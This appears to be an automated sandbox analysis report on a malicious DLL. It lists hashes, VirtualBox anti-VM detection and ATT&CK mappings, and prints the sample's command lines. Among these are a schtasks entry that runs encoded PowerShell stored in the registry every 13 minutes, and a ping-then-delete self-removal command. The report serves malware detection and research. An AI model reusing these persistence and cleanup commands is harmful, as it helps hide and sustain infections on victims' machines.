c1bae889da7252c8aa7c7446117a0dfd0e285621de369f5a9c204ac5662b11dd

Resubmissions

07/02/2023, 14:13

230207-rjd39sfc9s 10

07/02/2023, 14:08

230207-rfx2zaca82 9

Analysis

max time kernel
89s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 14:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

wbroidpyUsiqfHRGEXoN-Q4oViHeNp9anCBKxWYrEd0.dll
Size

143KB
MD5

920625c516d7184fed4610279dd6c164
SHA1

6e1fc17dd3965d707a29f0ca2ad01f693fe506b6
SHA256

c1bae889da7252c8aa7c7446117a0dfd0e285621de369f5a9c204ac5662b11dd
SHA512

3a6b0b7bb654384699f06db91f8bc287be128f6dc57e6fb2d19129d2557e04f311b6201a8783483790751645c0df8d702265bed7d09380019d09ceee74052058
SSDEEP

3072:8uZ6hcvJTZ9oVFBfnIyht8vPs1XQHBC92ePuH:dTN4HBnI2t8vPLu6

Score

9^/10

evasion

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	regsvr32.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1948	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4280	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 3584	4196	regsvr32.exe	82
PID 4196 wrote to memory of 3584	4196	regsvr32.exe	82
PID 4196 wrote to memory of 3584	4196	regsvr32.exe	82
PID 3584 wrote to memory of 1948	3584	regsvr32.exe	84
PID 3584 wrote to memory of 1948	3584	regsvr32.exe	84
PID 3584 wrote to memory of 1948	3584	regsvr32.exe	84
PID 3584 wrote to memory of 4976	3584	regsvr32.exe	86
PID 3584 wrote to memory of 4976	3584	regsvr32.exe	86
PID 3584 wrote to memory of 4976	3584	regsvr32.exe	86
PID 4976 wrote to memory of 4280	4976	cmd.exe	88
PID 4976 wrote to memory of 4280	4976	cmd.exe	88
PID 4976 wrote to memory of 4280	4976	cmd.exe	88

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\wbroidpyUsiqfHRGEXoN-Q4oViHeNp9anCBKxWYrEd0.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\wbroidpyUsiqfHRGEXoN-Q4oViHeNp9anCBKxWYrEd0.dll
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /Create /F /TN "{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}" /TR " cmd /q /c start /min \"\" powershell \"$nonresistantOutlivesDictatorial = Get-ItemProperty -Path HKCU:\Software\nonresistantOutlivesDictatorial; powershell -encodedcommand $nonresistantOutlivesDictatorial.AphroniaHaimavati \"" /SC MINUTE /MO 13
    3⤵
    - Creates scheduled task(s)
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /C "ping localhost && DEL /F /S /Q /A C:\Users\Admin\AppData\Local\Temp\wbroidpyUsiqfHRGEXoN-Q4oViHeNp9anCBKxWYrEd0.dll"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4976
  - - C:\Windows\SysWOW64\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:4280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3584-135-0x0000000000F10000-0x0000000000F15000-memory.dmp

Filesize
20KB

Download
memory/3584-136-0x0000000000F20000-0x0000000000F27000-memory.dmp

Filesize
28KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads